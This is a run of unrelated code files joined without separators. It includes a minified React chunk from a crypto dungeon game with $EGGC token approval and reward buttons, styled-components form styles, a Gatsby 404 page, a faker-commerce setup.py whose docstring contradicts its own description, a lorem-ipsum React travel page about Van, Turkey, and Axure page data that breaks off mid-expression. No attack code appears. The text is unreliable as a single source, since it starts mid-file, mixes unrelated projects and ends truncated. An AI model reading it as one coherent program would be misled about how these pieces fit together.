EGGC."}),u&&m,n?Object(cn.jsx)(gn,{ref:p,children:o===b?Object(cn.jsx)(T.q,{variant:"secondary",width:"100%",onClick:x,children:i("You Win 900 $EGGC")}):d===s?Object(cn.jsx)(T.q,{variant:"secondary",width:"100%",onClick:x,children:i("You Win ALL $EGGC !!!")}):Object(cn.jsx)(T.q,{variant:"secondary",width:"100%",children:i("No WIN")})}):Object(cn.jsx)(gn,{children:Object(cn.jsx)(tn.a,{width:"100%"})})]}),Object(cn.jsxs)(an,{children:[Object(cn.jsx)(T.Ob,{as:"p",color:"textSubtle",pr:"4px",mb:"16px",children:"Total Won:"}),Object(cn.jsx)(K.o,{})]})]})]})},On=(J.e.div(k||(k=Object(P.a)(["\n align-self: stretch;\n background: ",";\n flex: none;\n padding: 10px 0;\n text-align: center;\n width: 70px;\n \n"])),(function(n){return function(n){return n.isDark?"linear-gradient(139.73deg, #142339 0%, #24243D 47.4%, #37273F 100%)":"linear-gradient(139.73deg, #E6FDFF 0%, #EFF4F5 46.87%, #F3EFFF 100%)"}(n.theme)})),J.e.div(w||(w=Object(P.a)(["\n align-items: start;\n display: flex;\n flex: 1;\n flex-direction: column;\n padding: 24px;\n\n "," {\n align-items: center;\n flex-direction: row;\n font-size: 40px;\n }\n"])),(function(n){return n.theme.mediaQueries.md}))),fn=J.e.div(y||(y=Object(P.a)(["\n flex: 1;\n"]))),vn=J.e.img(F||(F=Object(P.a)(["\n border-radius: 20%;\n \n"]))),kn=J.e.img(Q||(Q=Object(P.a)(["\n border-radius: 25%;\n height: 300px;\n width: 300px;\n"]))),wn=Object(J.e)(T.S).attrs({as:"h3"})(E||(E=Object(P.a)(["\n font-size: 24px;\n\n "," {\n font-size: 40px;\n }\n"])),(function(n){return n.theme.mediaQueries.md})),yn=(J.e.div(C||(C=Object(P.a)(["\n flex: none;\n margin-right: 8px;\n\n "," {\n height: 164px;\n width: 164px;\n }\n\n "," {\n display: none;\n }\n"])),vn,(function(n){return n.theme.mediaQueries.md})),J.e.div(G||(G=Object(P.a)(["\n flex: none;\n margin-right: 8px;\n\n "," {\n height: 300px;\n width: 300px;\n }\n\n "," {\n display: none;\n }\n"])),kn,(function(n){return n.theme.mediaQueries.md})),J.e.div(S||(S=Object(P.a)(["\n display: none;\n\n "," {\n display: block;\n margin-left: 24px;\n\n "," {\n height: 300px;\n width: 300px;\n }\n }\n"])),(function(n){return n.theme.mediaQueries.md}),vn),J.e.div(z||(z=Object(P.a)(["\n display: none;\n\n "," {\n display: block;\n margin-left: 24px;\n\n "," {\n height: 100px;\n width: 100px;\n }\n }\n"])),(function(n){return n.theme.mediaQueries.md}),kn),Object(J.e)(T.u)(D||(D=Object(P.a)(["\n display: flex;\n margin-bottom: 16px;\n \n \n & > div {\n grid-column: span 6;\n width: 40%;\n }\n \n"])))),Fn=(Object(J.e)(T.u)(A||(A=Object(P.a)(["\n background-image: url('/images/');\n background-repeat: no-repeat;\n background-position: top right;\n min-height: 376px;\n"]))),J.e.img(q||(q=Object(P.a)(["\n background-image: url('/images/armylevel1b.gif');\n background-repeat: no-repeat;\n background-size: contain;\n \n min-height: 376px;\n "]))),J.e.div(L||(L=Object(P.a)(["\n margin-bottom: 16px;\n"]))),J.e.img(N||(N=Object(P.a)(["\n margin-bottom: 16px;\n"]))),J.e.div(R||(R=Object(P.a)(["\n color: ",";\n font-size: 14px;\n"])),(function(n){return n.theme.colors.textSubtle})),J.e.div(W||(W=Object(P.a)(["\n display: flex;\n margin-top: 24px;\n button {\n flex: 1 0 50%;\n }\n"])))),Qn=function(){var n=Object(Z.c)().account,e=Object(H.useState)(!1),t=Object(V.a)(e,2),i=(t[0],t[1],Object(U.b)().t),r=Object(nn.yb)(),c=Object(nn.pe)(),a=Object(nn.Ed)(),o=Object(nn.fc)(),d=Object(nn.Rd)(),b=Object(nn.m)(),s=Object(nn.Ab)(),l=Object(nn.Kb)(),j=Object(nn.Bb)(),p=Object(T.ic)(Object(cn.jsx)(rn.a,{})),m=Object(V.a)(p,1)[0],u=Object(_.b)(),x=(u.claimAmount,u.setLastUpdated,Object(X.Db)().onMultiClaim,Object(X.Z)()),g=Object(X.gc)(),h=Object(en.A)(m),O=h.handleApprove,f=h.requestedApproval;return Object(cn.jsx)(yn,{children:Object(cn.jsx)(On,{children:Object(cn.jsxs)(fn,{children:[Object(cn.jsxs)(T.Ob,{color:"red",fontSize:"15px",children:["Army Power required: 150AP ",Object(cn.jsx)("img",{src:"/images/chickenwar/ButtonGenesis.png",alt:""})]}),Object(cn.jsx)(T.R,{alignItems:"center",mb:"10px",children:Object(cn.jsx)(wn,{children:Object(cn.jsx)(K.c,{})})}),Object(cn.jsx)(T.Ob,{as:"p",color:"textSubtle",pr:"24px",mb:"10px",children:"Possible Rewards of exploration:"}),Object(cn.jsx)(K.d,{}),Object(cn.jsx)(K.e,{}),Object(cn.jsx)(K.f,{}),Object(cn.jsx)(K.g,{}),Object(cn.jsx)(T.Ob,{as:"p",color:"gray",pr:"24px",mb:"10px",fontSize:"15px",children:"Dungeon Duration: 4hrs."}),n?Object(cn.jsx)(Fn,{children:r.toNumber()?!1===a&&!1===c&&!1===o&&!1===d&&!1===b&&!1===s?Object(cn.jsx)(T.q,{width:"100%",onClick:g,children:i("Start the Dungeon GENESIS. 50$EGGC")}):j>=l||!0===c||!0===a||!0===o||!0===d||!0===b?Object(cn.jsx)(T.q,{id:"dashboard-buy-tickets",variant:"secondary",children:i("Wait for the end of Exploration...")}):Object(cn.jsx)(T.q,{onClick:x,children:i("Claim your rewards.")}):Object(cn.jsx)(T.q,{width:"100%",disabled:f,onClick:O,children:i("Enable EGGC for Dungeon.")})}):Object(cn.jsx)(Fn,{children:Object(cn.jsx)(tn.a,{width:"100%"})})]})})})},En=(J.e.div(I||(I=Object(P.a)(["\n align-items: center;\n background-image: url('/images/machinesanders.gif');\n background-repeat: no-repeat;\n background-size: contain;\n background-position: top center;\n display: flex;\n justify-content: center;\n flex-direction: column;\n margin: auto;\n margin-bottom: 10px;\n padding-top: 116px;\n text-align: center;\n\n "," {\n background-image: url('/images/machinesanders.gif');\n background-position: Left;\n background-size: contain;\n height: 380px;\n padding-top: 0;\n \n }\n"])),(function(n){return n.theme.mediaQueries.lg})),Object(J.e)(T.i)($||($=Object(P.a)(["\n align-items: stretch;\n justify-content: stretch;\n margin-bottom: 64px;\n grid-gap: 64px;\n\n & > div {\n grid-column: span 6;\n width: 105%;\n }\n\n "," {\n & > div {\n grid-column: span 8;\n }\n }\n\n "," {\n margin-bottom: 32px;\n grid-gap: 32px;\n\n & > div {\n grid-column: span 6;\n }\n }\n"])),(function(n){return n.theme.mediaQueries.sm}),(function(n){return n.theme.mediaQueries.lg})),Object(J.e)(T.i)(B||(B=Object(P.a)(["\n align-items: stretch;\n justify-content: stretch;\n margin-bottom: 64px;\n grid-gap: 64px;\n\n & > div {\n grid-column: span 10;\n width: 120%;\n }\n\n "," {\n & > div {\n grid-column: span 10;\n }\n }\n\n "," {\n margin-bottom: 32px;\n grid-gap: 32px;\n\n & > div {\n grid-column: span 10;\n }\n }\n"])),(function(n){return n.theme.mediaQueries.sm}),(function(n){return n.theme.mediaQueries.lg})),Object(J.e)(T.i)(M||(M=Object(P.a)(["\n align-items: start;\n margin-bottom: 34px;\n grid-gap: 24px;\n\n & > div {\n grid-column: span 6;\n }\n\n "," {\n & > div {\n grid-column: span 8;\n }\n }\n\n "," {\n margin-bottom: 32px;\n grid-gap: 32px;\n\n & > div {\n grid-column: span 4;\n }\n }\n"])),(function(n){return n.theme.mediaQueries.sm}),(function(n){return n.theme.mediaQueries.lg})),function(){Object(U.b)().t;return Object(cn.jsxs)(Y.a,{children:[Object(cn.jsx)(K.p,{}),Object(cn.jsx)(hn,{}),Object(cn.jsx)(Qn,{})]})})}}]); //# sourceMappingURL=37.ccbd6f38.chunk.js.map
import styled from 'styled-components'; export const FormWrap = styled.form` border: 0px transparant; border-radius: 3px; font-size: 12px; display: flex; flex-direction: column; transition: all 200ms ease; background-color: #E0EBF0; margin: 30px 10px 20px; ` export const RowFlex = styled.div` display: flex; justify-content: space-around; padding: 10px; `; export const RowFlexEnd = styled.div` display: flex; justify-content: flex-end; padding: 10px; `; export const Column = styled.div` width: 100%; text-align: left; padding: 5px; `; export const FormSet = styled.div` border: 1px solid transparent; margin: 10px 5px 0px 5px; background-color: #E0EBF0; padding: 0 3px 0 20px; ` export const Div = styled.div` display: grid; text-align: left; grid-template-columns: 1fr 1fr 1fr 1fr; grid-gap: 15px; margin: 10px; ` export const Div2 = styled.div` display: grid; text-align: left; grid-template-columns: 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr; grid-gap: 15px; margin: 10px; } ` export const Div3 = styled.div` display: flex; } ` export const Input = styled.input` outline: none; border-radius: 3px; border: 1px solid transparent; background: white; width: 100%; padding: 6px; ` export const DisabledInput = styled.input` outline: none; border-radius: 3px; border: 1px solid transparent; background: Gainsboro; width: 100%; padding: 6px; font-family: Arial, FontAwesome; ` export const TextDiv = styled.p` font-size: 14px ` export const Label = styled.h5` margin: 2px; ` export const DropdownLabel = styled.h5` margin: 2px; color: grey; font-weight: lighter; ` export const CalenderLabel = styled.h5` margin: 2px; color: grey; font-weight: lighter; ` export const RightTopDiv = styled.div ` display: inline-block; width: 50%; margin-bottom: 0px; ` export const LeftTopDiv = styled.div ` display: inline-block; width: 50%; margin-bottom: 0px; ` export const TopSection = styled.div ` display: flex; align-items: center; width: 100%; margin-bottom: 15px; ` export const CardStyle = styled.div` outline: none; border-radius: 3px; border: 1px solid transparent; background: white; width: 100%; height: 26px; ` export const Button = styled.button` width: 120px; height: 40px; border-radius: 3px; margin: 10px 5px 10px 10px; background-color: #269FB0; text-align: center; color: #ffffff; border: none; cursor: pointer; ` export const RedButton = styled.button` background-color: #C73642; width: 120px; height: 40px; border-radius: 3px; margin: 10px 5px 10px 10px; text-align: center; border: none; cursor: pointer; `; export const DropdownContent = styled.div` display: block; position: absolute; width: 40px; background: red; z-index: 1; ` export const DashboardWrap = styled.div` display: flex; padding: 0 0 0 0; ` export const TabsWrap = styled.div` width: 200px; height: 100vh; position: fixed; top: 100px; background: #269FB0; ` export const DisplayWrap = styled.div` width: 85%; height: 100vh; position: relative; top: 30px; left: 200px; ` export const TabWrap = styled.div`` export const TabsWrapColumn = styled.div` display: flex; flex-direction: column; padding-top: 145px; ` //student form and info tab styles export const StudentFormWrap = styled.form` border: 0px transparant; border-radius: 3px; font-size: 12px; display: flex; flex-direction: column; transition: all 200ms ease; ` export const label = styled.label` color: #89878a; ` export const StudentData = styled.div` color: black; font-weight: 450; ` export const StudentInput = styled.input` outline: none; border-radius: 3px; background: white; width: 100%; height: 31px; font-size: 14px; font-weight: 400; margin-left: -2px; ` export const ButtonDiv = styled.div` align-self: flex-end; margin-right: 15px; ` export const CancelButton = styled.button` background-color: #C73642; color:#FFFFFF; width: 80px; height: 40px; border-radius: 3px; margin: 10px 5px 10px 10px; text-align: center; border: none; cursor: pointer; ` export const SaveButton = styled.button` width: 80px; height: 40px; border-radius: 3px; margin: 10px 5px 10px 10px; text-align: center; color: #FFFFFF; background-color: #26ABBD; border: none; cursor: pointer; ` export const DeleteButton = styled.button` width: 80px; height: 40px; border-radius: 3px; margin: 10px 5px 10px 10px; text-align: center; color: #FFFFFF; background-color: #EC404E; border: none; cursor: pointer; ` export const AddButton = styled.button` width: 120px; height: 40px; border-radius: 3px; margin: 10px 5px 10px 10px; text-align: center; color: #FFFFFF; background-color: #26ABBD; border: none; cursor: pointer; `
import * as React from "react" import { graphql } from "gatsby" import Layout from "../components/layout" import Seo from "../components/seo" // npx netlify-cms-proxy-server const NotFoundPage = ({ data, location }) => { const siteTitle = data.site.siteMetadata.title return ( <Layout location={location} title={siteTitle}> <Seo title="404: Not Found" /> <h1>404: Not Found</h1> <p>You just hit a route that doesn&#39;t exist... the sadness.</p> </Layout> ) } export default NotFoundPage export const pageQuery = graphql` query { site { siteMetadata { title } } } `
/** @module test */ export * from 'a'
"""Provider for Faker which adds fake microservice names.""" import setuptools try: with open("README.markdown", "r") as fh: long_description = fh.read() # pylint: disable=invalid-name except FileNotFoundError: # pylint: disable=invalid-name long_description = ( "Provider for [Faker](https://faker.readthedocs.io/) which adds fake " "commerce product names, prices, categories and descriptions." ) setuptools.setup( name="faker-commerce", version="1.0.3", author="Nicolas Ignacio Britos", author_email="[email protected]", description="Provider for Faker which adds fake commerce product names, prices, categories and descriptions.", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/nicobritos/python-faker-commerce", packages=setuptools.find_packages(), install_requires=["faker"], classifiers=[ "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )
import React, { Component } from 'react' import {Container, Col, Image, Button, Row } from "react-bootstrap"; import Header from "../../components/Header/Header"; import "../../pages/pages.css"; import { Link } from 'react-router-dom'; export default class van extends Component { render() { return (<div><div className="content-wrapper"> <div class="video-wrapper"> <video className="video-target" autoPlay style={{ filter: "contrast(1.04) brightness(0.91)", width: "675px", height: "450px", "margin-top": "30px", "margin-left": "636px", }} preload="none" playsInline muted loop data-poster > <source src="https://cdn.goadventureturkey.com/van/van.mp4" type="video/mp4" /> Your browser does not support the video tag. </video> </div> <h2 className="heading"><strong style={{ width: "675px", height: "450px", color:"black", fontSize:"60px", "margin-top": "30px", "margin-right": "670px", }}>VAN</strong></h2> </div> <Container> <Row className="show-grid text-center"> <Col xs={12} sm={3} className="person-wrapper"> <Link to="/Doguanadolu/Van/Akdamar-Island"> <Image src="https://cdn.goadventureturkey.com/van/4-liste-akdamar-adasi.jpg" square className="profile-pic" /></Link> <> <i className="fas fa-plane-departure fa-7x"></i> <h3></h3> <p> {" "} Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation </p> <p><Link to="/Doguanadolu/Van/Akdamar-Island"> <Button bsStyle="primary">More</Button> </Link> </p> </> </Col> <Col xs={12} sm={3} className="person-wrapper"> <Link to="/Doguanadolu/Van/Travertines"> <Image src="https://cdn.goadventureturkey.com/van/liste-travertenler.jpg" square className="profile-pic" /></Link> <> <i className="fas fa-ship fa-7x"></i> <h3></h3> <p> {" "} Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation </p> <p> <Link to="/Doguanadolu/Van/Travertines"> <Button bsStyle="primary">More</Button> </Link> </p> </> </Col> <Col xs={12} sm={3} className="person-wrapper"> <Link to="/Doguanadolu/Van/Hosap-Castle"> <Image src="https://cdn.goadventureturkey.com/van/2-liste-hosap-kalesi.jpg" square className="profile-pic" /></Link> <> <i className="fas fa-hotel fa-7x"></i> <h3></h3> <p> {" "} Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation </p> <p> <Link to="/Doguanadolu/Van/Hosap-Castle"> <Button bsStyle="primary">More</Button> </Link> </p> </> </Col> <Col xs={12} sm={3} className="person-wrapper"> <Link to="/Doguanadolu/Van/Van-Museum"> <Image src="https://cdn.goadventureturkey.com/van/2-liste-van-muzesi.jpg" square className="profile-pic" /></Link> <> <i className="fas fa-sun fa-7x"></i> <h3></h3> <p> {" "} Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation </p> <p> <Link to="/Doguanadolu/Van/Van-Museum"> <Button bsStyle="primary">More</Button> </Link> </p> </> </Col> </Row> </Container> </div> ) } }
$axure.loadCurrentPage( (function() { var _ = function() { var r={},a=arguments; for(var i=0; i<a.length; i+=2) r[a[i]]=a[i+1]; return r; } var _creator = function() { return _(b,c,d,e,f,g,h,g,i,_(j,k),l,[m],n,_(o,p,q,r,s,t,u,_(),v,_(w,x,y,z,A,_(B,C,D,E),F,null,G,z,H,z,I,J,K,null,L,M,N,O,P,Q,R,M),S,_(),T,_(),U,_(V,[_(W,X,Y,j,Z,n,q,ba,bb,ba,bc,bd,v,_(be,_(bf,bg,bh,bi)),S,_(),bj,_(),bk,bl),_(W,bm,Y,j,Z,bn,q,ba,bb,ba,bc,bd,v,_(be,_(bf,bo,bh,bp)),S,_(),bj,_(),bk,bq),_(W,br,Y,j,Z,bs,q,bt,bb,bt,bc,bd,v,_(be,_(bf,bu,bh,bv),bw,_(bx,by,bz,bA)),S,_(),bj,_(),V,[_(W,bB,Y,j,Z,bC,q,bD,bb,bD,bc,bd,v,_(be,_(bf,bu,bh,bv)),S,_(),bj,_(),V,[_(W,bE,Y,j,Z,bF,q,bG,bb,bG,bc,bd,v,_(be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_(),V,[_(W,bJ,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,bW,bX,_(bY,n,b,bZ,ca,bd),cb,cc)])])),cd,bd,ce,_(cf,cg)),_(W,ch,Y,j,Z,bF,q,bG,bb,bG,bc,bd,v,_(bw,_(bx,bH,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_(),V,[_(W,cj,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(bw,_(bx,bH,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,ck,bX,_(bY,n,b,cl,ca,bd),cb,cc)])])),cd,bd,ce,_(cf,cg)),_(W,cm,Y,j,Z,bF,q,bG,bb,bG,bc,bd,v,_(bw,_(bx,cn,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_(),V,[_(W,co,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(bw,_(bx,cn,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,cp,bX,_(bY,n,b,cq,ca,bd),cb,cc)])])),cd,bd,ce,_(cf,cg)),_(W,cr,Y,j,Z,bF,q,bG,bb,bG,bc,bd,v,_(bw,_(bx,cs,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_(),V,[_(W,ct,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(bw,_(bx,cs,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,cu,bX,_(bY,n,b,c,ca,bd),cb,cc)])])),cd,bd,ce,_(cf,cg)),_(W,cv,Y,j,Z,bF,q,bG,bb,bG,bc,bd,v,_(bw,_(bx,cw,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_(),V,[_(W,cx,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(bw,_(bx,cw,bz,ci),be,_(bf,bH,bh,bv),w,bI),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,cy,bX,_(bY,n,b,cz,ca,bd),cb,cc)])])),cd,bd,ce,_(cf,cA))])])])),cB,_(cC,_(o,cC,q,cD,s,n,u,_(),v,_(w,x,y,z,A,_(B,C,D,E),F,null,G,z,H,z,I,J,K,null,L,M,N,O,P,Q,R,M),S,_(),T,_(),U,_(V,[_(W,cE,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bg,bh,bi),w,cH),S,_(),bj,_(),V,[_(W,cI,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bg,bh,bi),w,cH),S,_(),bj,_())],cJ,g),_(W,cK,Y,j,Z,cL,q,cG,bb,cG,bc,bd,v,_(w,cM,be,_(bf,cN,bh,cO),bw,_(bx,cP,bz,cQ),A,_(B,C,D,cR)),S,_(),bj,_(),V,[_(W,cS,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(w,cM,be,_(bf,cN,bh,cO),bw,_(bx,cP,bz,cQ),A,_(B,C,D,cR)),S,_(),bj,_())],ce,_(cf,cT),cJ,g),_(W,cU,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(be,_(bf,cV,bh,cW),w,cX,bw,_(bx,cY,bz,cZ),da,db),S,_(),bj,_(),V,[_(W,dc,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,cV,bh,cW),w,cX,bw,_(bx,cY,bz,cZ),da,db),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,dd,bX,_(bY,n,b,de,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,df,Y,j,Z,dg,q,cG,bb,dh,bc,bd,v,_(be,_(bf,di,bh,dj),w,dk,bw,_(bx,dl,bz,dm)),S,_(),bj,_(),V,[_(W,dn,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,di,bh,dj),w,dk,bw,_(bx,dl,bz,dm)),S,_(),bj,_())],ce,_(cf,dp),cJ,g)])),dq,_(o,dq,q,cD,s,bn,u,_(),v,_(w,x,y,z,A,_(B,C,D,E),F,null,G,z,H,z,I,J,K,null,L,M,N,O,P,Q,R,M),S,_(),T,_(),U,_(V,[_(W,dr,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,bp),w,ds,A,_(B,C,D,dt)),S,_(),bj,_(),V,[_(W,du,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,bp),w,ds,A,_(B,C,D,dt)),S,_(),bj,_())],cJ,g),_(W,dv,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,dA),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_(),V,[_(W,dH,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,dA),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,dI,bX,_(bY,n,b,dJ,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,dK,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(be,_(bf,dL,bh,cQ),w,dM,bw,_(bx,dN,bz,dO)),S,_(),bj,_(),V,[_(W,dP,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,dL,bh,cQ),w,dM,bw,_(bx,dN,bz,dO)),S,_(),bj,_())],cJ,g),_(W,dQ,Y,j,Z,dR,q,dS,bb,dS,bc,bd,v,_(bw,_(bx,dT,bz,dU)),S,_(),bj,_(),dV,[],dW,g),_(W,dX,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,dY),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_(),V,[_(W,dZ,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,dY),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,ea,bO,eb,ec,_(ed,ee,ef,[_(ed,eg,eh,ei,ej,[_(ed,ek,el,bd,em,g,en,g),_(ed,eo,ep,eq,er,[])])]))])]),es,_(bO,et,bQ,[_(bO,bR,bS,g,bT,[_(bU,eu,bO,ev,ew,[_(ex,[ey],ez,_(eA,eB,eC,_(eD,eE,eF,g,eG,bd,eH,eI,eJ,bu)))])])]),eK,_(bO,eL,bQ,[_(bO,bR,bS,g,bT,[_(bU,eu,bO,eM,ew,[_(ex,[ey],ez,_(eA,eN,eC,_(eD,eE,eF,g,eG,bd,eH,eI,eJ,bu)))])])])),cd,bd,cJ,g),_(W,ey,Y,eO,Z,eP,q,eQ,bb,eQ,bc,g,v,_(be,_(bf,eR,bh,eR),bw,_(bx,ci,bz,eS),bc,g,A,_(B,C,D,eT)),S,_(),bj,_(),eU,eI,eV,bd,dW,g,eW,[_(W,eX,Y,eY,q,eZ,V,[_(W,fa,Y,j,Z,cF,fb,ey,fc,fd,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,R,dB,A,_(B,C,D,fe)),S,_(),bj,_(),V,[_(W,ff,Y,j,Z,null,bK,bd,fb,ey,fc,fd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,R,dB,A,_(B,C,D,fe)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,bW,bX,_(bY,n,b,bZ,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,fg,Y,j,Z,cF,fb,ey,fc,fd,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,dy),R,dB,A,_(B,C,D,fe)),S,_(),bj,_(),V,[_(W,fh,Y,j,Z,null,bK,bd,fb,ey,fc,fd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,dy),R,dB,A,_(B,C,D,fe)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fi,bX,_(bY,n,b,fj,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,fk,Y,j,Z,cF,fb,ey,fc,fd,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,bH),R,dB,A,_(B,C,D,fe)),S,_(),bj,_(),V,[_(W,fl,Y,j,Z,null,bK,bd,fb,ey,fc,fd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,bH),R,dB,A,_(B,C,D,fe)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fm,bX,_(bY,n,b,fn,ca,bd),cb,cc)])])),cd,bd,cJ,g)],v,_(A,_(B,C,D,fo),F,null,G,z,H,z,I,J),S,_())]),_(W,fp,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,eS),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_(),V,[_(W,fq,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,eS),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,ea,bO,eb,ec,_(ed,ee,ef,[_(ed,eg,eh,ei,ej,[_(ed,ek,el,bd,em,g,en,g),_(ed,eo,ep,eq,er,[])])]))])]),es,_(bO,et,bQ,[_(bO,bR,bS,g,bT,[_(bU,eu,bO,fr,ew,[_(ex,[fs],ez,_(eA,eB,eC,_(eD,eE,eF,g,eG,bd,eH,eI,eJ,bu)))])])]),eK,_(bO,eL,bQ,[_(bO,bR,bS,g,bT,[_(bU,eu,bO,ft,ew,[_(ex,[fs],ez,_(eA,eN,eC,_(eD,eE,eF,g,eG,bd,eH,eI,eJ,bu)))])])])),cd,bd,cJ,g),_(W,fs,Y,fu,Z,eP,q,eQ,bb,eQ,bc,g,v,_(be,_(bf,eR,bh,eR),bw,_(bx,ci,bz,fv),bc,g,A,_(B,C,D,eT)),S,_(),bj,_(),eU,eI,eV,bd,dW,g,eW,[_(W,fw,Y,eY,q,eZ,V,[_(W,fx,Y,j,Z,cF,fb,fs,fc,fd,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,R,dB,A,_(B,C,D,fe)),S,_(),bj,_(),V,[_(W,fy,Y,j,Z,null,bK,bd,fb,fs,fc,fd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,R,dB,A,_(B,C,D,fe)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fz,bX,_(bY,n,b,fA,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,fB,Y,j,Z,cF,fb,fs,fc,fd,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,dy),R,dB,A,_(B,C,D,fe)),S,_(),bj,_(),V,[_(W,fC,Y,j,Z,null,bK,bd,fb,fs,fc,fd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,dy),R,dB,A,_(B,C,D,fe)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fD,bX,_(bY,n,b,fE,ca